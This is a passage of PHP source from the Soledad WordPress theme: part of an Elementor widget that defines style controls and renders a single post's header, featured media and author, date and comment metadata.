		] );

		$this->add_control( 'meta-link-hcolor', [
			'label'     => 'Meta Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single a:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'remove-divider', [
			'label'     => 'Remove Divider Character',
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single > span:before' => 'display:none' ],
		] );

		$this->add_control( 'meta-color-heading', [
			'label' => 'Meta Color',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'meta-author-color', [
			'label'     => 'Author Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-post,{{WRAPPER}} .author-post .author' => 'color:{{VALUE}}' ],
			'condition' => [ 'penci_single_meta_author!' => 'yes' ],
		] );

		$this->add_control( 'meta-author-lcolor', [
			'label'     => 'Author Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-post a' => 'color:{{VALUE}}' ],
			'condition' => [ 'penci_single_meta_author!' => 'yes' ],
		] );

		$this->add_control( 'meta-author-hcolor', [
			'label'     => 'Author Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-post a:hover' => 'color:{{VALUE}}' ],
			'condition' => [ 'penci_single_meta_author!' => 'yes' ],
		] );

		$this->add_control( 'meta-pdate-color', [
			'label'     => 'Post Date Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pctmp-date-post' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'penci_single_meta_date!' => 'yes' ],
		] );

		$this->add_control( 'meta-pcomment-color', [
			'label'     => 'Post Comment Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pctmp-comment-post' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'penci_single_meta_comment!' => 'yes' ],
		] );

		$this->add_control( 'meta-pview-color', [
			'label'     => 'Post View Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pctmp-view-post' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'penci_single_show_cview!' => 'yes' ],
		] );

		$this->add_control( 'meta-preading-color', [
			'label'     => 'Post Reading Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .single-readtime' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'penci_single_hreadtime!' => 'yes' ],
		] );

		$this->end_controls_section();

		/* Post Title */
		$this->start_controls_section( 'style_title', [
			'label'     => esc_html__( 'Title Style', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_STYLE,
			'condition' => [ 'hide_title!' => 'yes' ],
		] );

		$this->add_control( 'title_head', [
			'label' => 'Title Style',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'title_typo',
			'label'    => __( 'Typography for Post Title', 'soledad' ),
			'selector' => '{{WRAPPER}} .header-standard .post-title',
		) );

		$this->add_control( 'title_color', [
			'label'     => 'Post Title Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .header-standard .post-title' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'main-text-gcolor-enable', [
			'label' => 'Enable Gradient Color for Post Title',
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_group_control( \Elementor\Group_Control_Background::get_type(), array(
			'name'      => 'main-text-gcolor',
			'label'     => __( 'Gradient Color', 'soledad' ),
			'types'     => array( 'gradient' ),
			'selector'  => '{{WRAPPER}} .post-title.single-post-title span',
			'condition' => [ 'main-text-gcolor-enable' => 'yes' ]
		) );

		$this->add_control( 'main-text-inlinecolor-e', [
			'label'     => 'Use Inline Background Color?',
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [
				'{{WRAPPER}} .post-title'      => 'background-color:var(--pcaccent-cl);display:inline;box-decoration-break: clone;padding: 3px 8px;',
				'{{WRAPPER}} .header-standard' => 'padding-top: 3px',
			],
		] );

		$this->add_control( 'main-text-inlinecolor', [
			'label'     => 'Inline Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-title' => 'background-color:{{VALUE}}' ],
			'condition' => [ 'main-text-inlinecolor-e' => 'yes' ]
		] );

		$this->add_control( 'main-text-inline-d', [
			'label'      => 'Inline Background Padding',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => [ 'px' ],
			'selectors'  => [
				'{{WRAPPER}} .post-title'      => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .header-standard' => 'padding-top: {{TOP}}{{UNIT}}',
			],
			'condition'  => [ 'main-text-inlinecolor-e' => 'yes' ]
		] );

		$this->add_control( 'title_bgcolor', [
			'label'     => 'Title Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .header-standard .post-title' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'title_bcolor', [
			'label'     => 'Title Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .header-standard .post-title' => 'border-color:{{VALUE}}' ],
		] );

		$this->add_control( 'title_padding', [
			'label'      => 'Title Padding',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .header-standard .post-title' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->add_control( 'title_border', [
			'label'      => 'Title Border',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .header-standard .post-title' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->add_control( 'title_border_style', [
			'label'     => 'Title Borders Style',
			'type'      => \Elementor\Controls_Manager::SELECT,
			'options'   => [
				'dotted' => 'Dotted',
				'dashed' => 'Dashed',
				'solid'  => 'Solid',
				'double' => 'Double',
				'groove' => 'Groove',
				'ridge'  => 'Ridge',
				'inset'  => 'Inset',
				'outset' => 'Outset',
			],
			'selectors' => [ '{{WRAPPER}} .header-standard .post-title' => 'border-style:{{VALUE}}' ],
		] );

		$this->add_control( 'title_border_radius', [
			'label'      => 'Title Borders Radius',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .header-standard .post-title' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->end_controls_section();

		/* Post Title */
		$this->start_controls_section( 'style_subtitle', [
			'label'     => esc_html__( 'Sub Title Style', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_STYLE,
			'condition' => [ 'hide_subtitle!' => 'yes' ],
		] );

		$this->add_control( 'subtitle_head', [
			'label' => 'Sub Title Style',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'subtitle_typo',
			'label'    => __( 'Typography for Post Sub Title', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-psub-title',
		) );

		$this->add_control( 'subtitle_color', [
			'label'     => 'Post Sub Title Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-psub-title' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'subtitle_bgcolor', [
			'label'     => 'Sub Title Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-psub-title' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'subtitle_bcolor', [
			'label'     => 'Sub Title Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-psub-title' => 'border-color:{{VALUE}}' ],
		] );

		$this->add_control( 'subtitle_padding', [
			'label'      => 'Sub Title Padding',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-psub-title' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->add_control( 'subtitle_border', [
			'label'      => 'Sub Title Border',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-psub-title' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->add_control( 'subtitle_border_style', [
			'label'     => 'Sub Title Borders Style',
			'type'      => \Elementor\Controls_Manager::SELECT,
			'options'   => [
				'dotted' => 'Dotted',
				'dashed' => 'Dashed',
				'solid'  => 'Solid',
				'double' => 'Double',
				'groove' => 'Groove',
				'ridge'  => 'Ridge',
				'inset'  => 'Inset',
				'outset' => 'Outset',
			],
			'selectors' => [ '{{WRAPPER}} .penci-psub-title' => 'border-style:{{VALUE}}' ],
		] );

		$this->add_control( 'subtitle_border_radius', [
			'label'      => 'Sub Title Borders Radius',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-psub-title' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->end_controls_section();

		/* Post Meta */
		$this->start_controls_section( 'style_postmeta', [
			'label'     => esc_html__( 'Post Meta Style', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_STYLE,
			'condition' => [ 'hide_info!' => 'yes' ],
		] );

		$this->add_control( 'postinfo_head', [
			'label' => 'Post Meta Style',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'postinfo_typo',
			'label'    => __( 'Typography for Post Metarmations', 'soledad' ),
			'selector' => '{{WRAPPER}} .header-standard .post-box-meta-single span',
		) );

		$this->add_control( 'postinfo_color', [
			'label'     => 'Post Meta Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .header-standard .post-box-meta-single span' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'postinfo_lcolor', [
			'label'     => 'Post Meta Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .header-standard .post-box-meta-single span a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'postinfo_lhcolor', [
			'label'     => 'Post Meta Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .header-standard .post-box-meta-single span a:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'postinfo_bgcolor', [
			'label'     => 'Meta Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single > span' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'postinfo_bcolor', [
			'label'     => 'Meta Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single > span' => 'border-color:{{VALUE}}' ],
		] );

		$this->add_control( 'postinfo_padding', [
			'label'      => 'Meta Padding',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .post-box-meta-single > span' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->add_control( 'postinfo_border', [
			'label'      => 'Meta Border',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .post-box-meta-single > span' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->add_control( 'meta_border_style', [
			'label'     => 'Meta Borders Style',
			'type'      => \Elementor\Controls_Manager::SELECT,
			'options'   => [
				'dotted' => 'Dotted',
				'dashed' => 'Dashed',
				'solid'  => 'Solid',
				'double' => 'Double',
				'groove' => 'Groove',
				'ridge'  => 'Ridge',
				'inset'  => 'Inset',
				'outset' => 'Outset',
			],
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single > span' => 'border-style:{{VALUE}}' ],
		] );

		$this->add_control( 'meta_border_radius', [
			'label'      => 'Title Borders Radius',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .post-box-meta-single > span' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->end_controls_section();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		global $post;
		$settings             = $this->get_settings();
		$avatar               = $settings['penci_single_author_avatar'];
		$avatarw              = isset( $settings['penci_avatar_w'] ) && $settings['penci_avatar_w'] ? $settings['penci_avatar_w'] : 32;
		$ava_icon_enable      = $settings['penci_single_meta_ava_icon_check'];
		$ava_icon             = $settings['penci_single_meta_ava_icon'];
		$date_icon_enable     = $settings['penci_single_meta_date_icon_check'];
		$date_icon            = $settings['penci_single_meta_date_icon'];
		$commment_icon_enable = $settings['penci_single_meta_comment_icon_check'];
		$commment_icon        = $settings['penci_single_meta_comment_icon'];
		$view_icon_enable     = $settings['penci_single_meta_view_icon_check'];
		$view_icon            = $settings['penci_single_meta_view_icon'];
		$reading_icon_enable  = $settings['penci_single_meta_reading_icon_check'];
		$reading_icon         = $settings['penci_single_meta_reading_icon'];
		$icon_style           = $settings['meta_icon_style'];
		$thumb_alt            = '';
		$label_text           = $settings['hide_meta_label'];
		$gradient_class       = $settings['main-text-gcolor-enable'] ? ' gradient-enable' : '';

		if ( has_post_thumbnail() ) {
			$thumb_id  = get_post_thumbnail_id( get_the_ID() );
			$thumb_alt = penci_get_image_alt( $thumb_id, get_the_ID() );
		}

		if ( penci_elementor_is_edit_mode() ) {
			$attachments = get_posts( [ 'post_type' => 'attachment', 'numberposts' => 1 ] );
			if ( ! empty( $attachments ) ) {
				$thumb_id  = $attachments[0]->ID;
				$thumb_alt = penci_get_image_alt( $thumb_id, get_the_ID() );
			}
			add_filter( 'has_post_thumbnail', function () {
				return true;
			} );
		}


		$move_title_bellow   = false;
		$enable_jarallax     = $settings['penci_enable_jarallax_single'];
		$pmt_enable_jarallax = get_post_meta( get_the_ID(), 'penci_enable_jarallax_single', true );

		if ( $pmt_enable_jarallax ) {
			$enable_jarallax = $pmt_enable_jarallax;
		}

		$simage_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
		$image_size  = $settings['img_size'] ? $settings['img_size'] : $simage_size;

		if ( penci_is_mobile() ) {
			$image_size = $settings['img_msize'] ? $settings['img_msize'] : 'penci-masonry-thumb';
		}


		$div_special_wrapper = '';
		if ( ! $move_title_bellow ) {
			$div_special_wrapper .= '<div class="';
			$div_special_wrapper .= 'standard-post-special_wrapper' . $gradient_class;
			$div_special_wrapper .= '">';
		}

		$image_html = penci_get_featured_single_image_size( get_the_ID(), $image_size, $enable_jarallax, $thumb_alt );

		if ( penci_elementor_is_edit_mode() ) {
			$class       = 'attachment-penci-full-thumb size-penci-full-thumb penci-single-featured-img wp-post-image';
			$src         = PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=1200&h=800';
			$style_ratio = 'padding-top: 67%;';
			if ( $enable_jarallax ) {
				$image_html = '<img class="jarallax-img" src="' . $src . '" alt="' . $thumb_alt . '">';
			} elseif ( ! get_theme_mod( 'penci_speed_disable_first_screen' ) || get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) {
				$image_html = '<span class="' . $class . ' penci-disable-lazy" style="background-image: url(' . $src . ');' . $style_ratio . '"></span>';
			} else {
				$image_html = '<span class="' . $class . ' penci-lazy" data-bgset="' . $src . '" style="' . $style_ratio . '"></span>';
			}
		}

		?>
		<?php if ( penci_get_post_format( 'link' ) || penci_get_post_format( 'quote' ) ) : ?>
			<?php
			$class_pimage_linkquote = 'standard-post-special post-image';
			if ( penci_get_post_format( 'quote' ) ) {
				$class_pimage_linkquote .= ' penci-special-format-quote';
			}
			if ( ! has_post_thumbnail() || get_theme_mod( 'penci_post_thumb' ) ) {
				$class_pimage_linkquote .= ' no-thumbnail';
			}

			if ( ! $move_title_bellow ) {
				$class_pimage_linkquote .= ' penci-move-title-above';
			}

			if ( $enable_jarallax ) {
				$class_pimage_linkquote .= ' penci-jarallax';
			}
			?>
        <div class="<?php echo( $class_pimage_linkquote ); ?>">
			<?php
			if ( has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
				echo $image_html;
			}
			?>
			<?php echo $div_special_wrapper; ?>
            <div class="standard-content-special">
                <div class="format-post-box<?php if ( penci_get_post_format( 'quote' ) ) {
					echo ' penci-format-quote';
				} else {
					echo ' penci-format-link';
				} ?>">
                    <span class="post-format-icon"><?php penci_fawesome_icon( 'fas fa-' . ( penci_get_post_format( 'quote' ) ? 'quote-left' : 'link' ) ); ?></span>
                    <p class="dt-special">
						<?php
						if ( penci_get_post_format( 'quote' ) ) {
							$dt_content = get_post_meta( $post->ID, '_format_quote_source_name', true );
							if ( ! empty( $dt_content ) ): echo sanitize_text_field( $dt_content ); endif;
						} else {
							$dt_content = get_post_meta( $post->ID, '_format_link_url', true );
							if ( ! empty( $dt_content ) ):
								echo '<a href="' . esc_url( $dt_content ) . '" target="_blank">' . sanitize_text_field( $dt_content ) . '</a>';
							endif;
						}
						?>
                    </p>
					<?php
					if ( penci_get_post_format( 'quote' ) ):
						$quote_author = get_post_meta( $post->ID, '_format_quote_source_url', true );
						if ( ! empty( $quote_author ) ):
							echo '<div class="author-quote"><span>' . sanitize_text_field( $quote_author ) . '</span></div>';
						endif;
					endif; ?>
                </div>
            </div>
            <div class="penci-fto-ct">
				<?php
				if ( ! $move_title_bellow ) {
					get_template_part( 'template-parts/single', 'breadcrumb' );
				}
				if ( ! $move_title_bellow && has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
					get_template_part( 'inc/template-builder/single-elements/entry', 'header', $settings );
				}
				?>
            </div>
			<?php if ( ! $move_title_bellow ): ?></div><?php endif; ?>
            </div>

		<?php elseif ( penci_get_post_format( 'gallery' ) ) : ?>

			<?php $images = get_post_meta( $post->ID, '_format_gallery_images', true ); ?>

			<?php if ( ! $move_title_bellow && has_post_thumbnail() ) : ?>
				<?php if ( ! get_theme_mod( 'penci_post_thumb' ) ) : ?>
                    <div class="post-image penci-move-title-above <?php echo( $enable_jarallax ? ' penci-jarallax' : '' ); ?>">
						<?php
						if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) && ! $enable_jarallax ) {
							$thumb_url = wp_get_attachment_url( get_post_thumbnail_id( $post->ID ) );
							echo '<a href="' . esc_url( $thumb_url ) . '" data-rel="penci-gallery-image-content">';
							echo $image_html;
							echo '</a>';
						} else {
							echo $image_html;
						}

						echo $div_special_wrapper;

						echo '<div class="penci-fto-ct">';

						get_template_part( 'template-parts/single', 'breadcrumb' );
						if ( has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
							get_template_part( 'inc/template-builder/single-elements/entry', 'header', $settings );
						}
						echo '</div>';
						echo '</div>';
						?>
                    </div>
				<?php endif; ?>
			<?php elseif ( $images ) :
				$autoplay = ! get_theme_mod( 'penci_disable_autoplay_single_slider' ) ? 'true' : 'false';
				?>
                <div class="post-image">
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible"
                         data-auto="<?php echo $autoplay; ?>" data-lazy="true">
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>

								<?php $the_image = wp_get_attachment_image_src( $image, $image_size ); ?>
								<?php $the_caption = get_post_field( 'post_excerpt', $image );
								$image_alt         = penci_get_image_alt( $image, get_the_ID() );
								$image_title_html  = penci_get_image_title( $image );
								?>
                                <div class="swiper-slide swiper-mark-item">
                                    <figure class="penci-swiper-mask">
										<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                                            <img class="penci-lazy" data-src="<?php echo esc_url( $the_image[0] ); ?>"
                                                 alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
										<?php } else { ?>
                                            <img src="<?php echo esc_url( $the_image[0] ); ?>"
                                                 alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
										<?php } ?>
										<?php if ( get_theme_mod( 'penci_post_gallery_caption' ) && $the_caption ): ?>
                                            <p class="penci-single-gallery-captions penci-single-gaformat-caption"><?php echo $the_caption; ?></p>
										<?php endif; ?>
                                    </figure>
                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
                </div>
			<?php endif; ?>

		<?php elseif ( penci_get_post_format( 'video' ) ) : ?>
			<?php
			Penci_Sodedad_Video_Format::show_builder_video_embed( array(
				'post_id'             => $post->ID,
				'parallax'            => $enable_jarallax,
				'args'                => array( 'width' => '1920', 'height' => '1080' ),
				'show_title_inner'    => true,
				'move_title_bellow'   => $move_title_bellow,
				'div_special_wrapper' => $div_special_wrapper,
				'single_style'        => 'style-1'
			), $settings );
			?>
		<?php elseif ( penci_get_post_format( 'audio' ) ) : ?>
			<?php
			$class_pimage_audio = 'standard-post-image post-image audio';

			if ( ! has_post_thumbnail() || get_theme_mod( 'penci_post_thumb' ) ) {
				$class_pimage_audio .= ' no-thumbnail';
			}

			if ( $enable_jarallax ) {
				$class_pimage_audio .= ' penci-jarallax';
			}

			if ( ! $move_title_bellow ) {
				$class_pimage_audio .= ' penci-move-title-above';
			}

			?>
        <div class="<?php echo $class_pimage_audio; ?>">
			<?php
			if ( has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
				echo $image_html;
			}
			?>
			<?php echo $div_special_wrapper; ?>
            <div class="audio-iframe">
				<?php $penci_audio = get_post_meta( $post->ID, '_format_audio_embed', true );
				$penci_audio_str   = substr( $penci_audio, - 4 ); ?>
				<?php if ( wp_oembed_get( $penci_audio ) ) : ?>
					<?php echo wp_oembed_get( $penci_audio ); ?>
				<?php elseif ( $penci_audio_str == '.mp3' ) : ?>
					<?php echo do_shortcode( '[audio src="' . esc_url( $penci_audio ) . '"]' ); ?>
				<?php else : ?>
					<?php echo $penci_audio; ?>
				<?php endif; ?>
            </div>
            <div class="penci-fto-ct">
				<?php
				if ( ! $move_title_bellow ) {
					get_template_part( 'template-parts/single', 'breadcrumb' );
				}
				if ( ! $move_title_bellow && has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
					get_template_part( 'inc/template-builder/single-elements/entry', 'header', $settings );
				}
				?>
            </div>
			<?php if ( ! $move_title_bellow ): ?></div><?php endif; ?>
            </div>

		<?php else : ?>

			<?php if ( has_post_thumbnail() && ! $settings['penci_post_thumb'] ) : ?>
                <div class="post-image <?php echo( ! $move_title_bellow ? ' penci-move-title-above' : '' ); ?>">
					<?php
					if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) && ! $enable_jarallax ) {
						$thumb_url = wp_get_attachment_url( get_post_thumbnail_id( $post->ID ) );
						echo '<a href="' . esc_url( $thumb_url ) . '" data-rel="penci-gallery-bground-content">';
						echo $image_html;
						echo '</a>';
					} else {

						echo '<div class="' . ( $enable_jarallax ? 'penci-jarallax' : '' ) . '">';
						echo $image_html;
						echo '</div>';
					}

					echo $div_special_wrapper;
					echo '<div class="penci-fto-ct">';
					if ( ! $move_title_bellow ) {
						get_template_part( 'template-parts/single', 'breadcrumb' );
					}

					if ( ! $move_title_bellow && has_post_thumbnail() ) {
						?>
                        <div class="header-standard header-classic single-header">
						<?php if ( ! $settings['penci_post_cat'] ) : ?>
                            <div class="penci-standard-cat penci-single-cat <?php echo $settings['cat_pre_style']; ?>"><span
                                        class="cat">
                                    <?php if ( penci_elementor_is_edit_mode() ) {
	                                    echo '<a class="penci-cat-name" href="#">Category Name 1</a> <a class="penci-cat-name" href="#">Category Name 2</a> <a class="penci-cat-name" href="#">Category Name 3</a>';
                                    } else {
	                                    penci_category( '' );
                                    } ?>
                                </span></div>
						<?php endif; ?>

						<?php if ( empty( $settings['hide_title'] ) ): ?>
                            <h1 class="post-title single-post-title entry-title"><span><?php the_title(); ?></span></h1>
						<?php endif; ?>
						<?php
						if ( ! $settings['hide_subtitle'] ) {
							penci_display_post_subtitle();
						}
						?>
						<?php penci_soledad_meta_schema(); ?>
						<?php $hide_readtime = get_theme_mod( 'penci_single_hreadtime' ); ?>
						<?php if ( ! $settings['penci_single_meta_author'] || ! $settings['penci_single_meta_date'] || ! $settings['penci_single_meta_comment'] || $settings['penci_single_show_cview'] || $settings[ $hide_readtime ] ) : ?>

                            <div class="post-box-meta-single style-<?php echo esc_attr( $icon_style ); ?>">
								<?php if ( ! $settings['penci_single_meta_author'] ) :
									global $post;
									?>
                                    <span class="author-post byline">
                                        <span class="author vcard">
                                            <?php
                                            if ( ! $ava_icon_enable && $ava_icon ) {
	                                            echo '<span class="pcmt-icon ava-icon">';
	                                            \Elementor\Icons_Manager::render_icon( $ava_icon );
	                                            echo '</span>';
                                            }
                                            ?>
	                                        <?php if ( ! $label_text ) {
		                                        echo penci_get_setting( 'penci_trans_written_by' );
	                                        } ?>

	                                        <?php
	                                        $author_ids     = [];
	                                        $post_author_id = get_post_field( 'post_author', get_the_ID() );
	                                        if ( $post_author_id ) {
		                                        $author_ids[] = $post_author_id;
	                                        }
	                                        if ( function_exists( 'coauthors__echo' ) ) {
		                                        $author_list = coauthors__echo( 'ID', 'field', array(
			                                        'between'     => ',',
			                                        'betweenLast' => ',',
			                                        'before'      => '',
			                                        'after'       => '',
		                                        ), null, false );
		                                        if ( $author_list ) {
			                                        $author_ids = explode( ',', $author_list );
		                                        }
	                                        }
	                                        $total   = count( $author_ids );
	                                        $current = 0;
	                                        foreach ( $author_ids as $author_id ) {
		                                        $current ++;
		                                        ?>

                                                <a class="author-url url fn n"
                                                   href="<?php echo get_author_posts_url( $author_id ); ?>">
                                                <?php
                                                if ( ! $avatar ) {
	                                                echo get_avatar( $author_id, $avatarw );
                                                } else {
	                                                echo $current == 2 ? ', ' : ( ( $current == $total && $total > 1 ) ? ' & ' : '' );
                                                }
                                                echo get_the_author_meta( 'display_name', $author_id );
                                                ?>
                                            </a>
	                                        <?php } ?>
                                        </span>
                                    </span>
								<?php endif; ?>
								<?php penci_author_update_name( $settings['penci_single_meta_author_update'], $avatar, $avatarw ); ?>
								<?php if ( ! $settings['penci_single_meta_date'] ) : ?>
                                    <span class="pctmp-date-post">
                                <?php
                                if ( ! $date_icon_enable && $date_icon ) {
	                                echo '<span class="pcmt-icon date-icon">';
	                                \Elementor\Icons_Manager::render_icon( $date_icon );
	                                echo '</span>';
                                }
                                ?>
                                <?php penci_soledad_time_link( 'single' ); ?></span>
								<?php endif; ?>
								<?php if ( ! $settings['penci_single_meta_comment'] ) :
									?>
                                    <span class="pctmp-comment-post">
                                    <?php
                                    if ( ! $commment_icon_enable && $commment_icon ) {
	                                    echo '<span class="pcmt-icon comment-icon">';
	                                    \Elementor\Icons_Manager::render_icon( $commment_icon );
	                                    echo '</span>';
                                    }
                                    $comment_text  = ! $label_text ? ' ' . penci_get_setting( 'penci_trans_comment' ) : '';
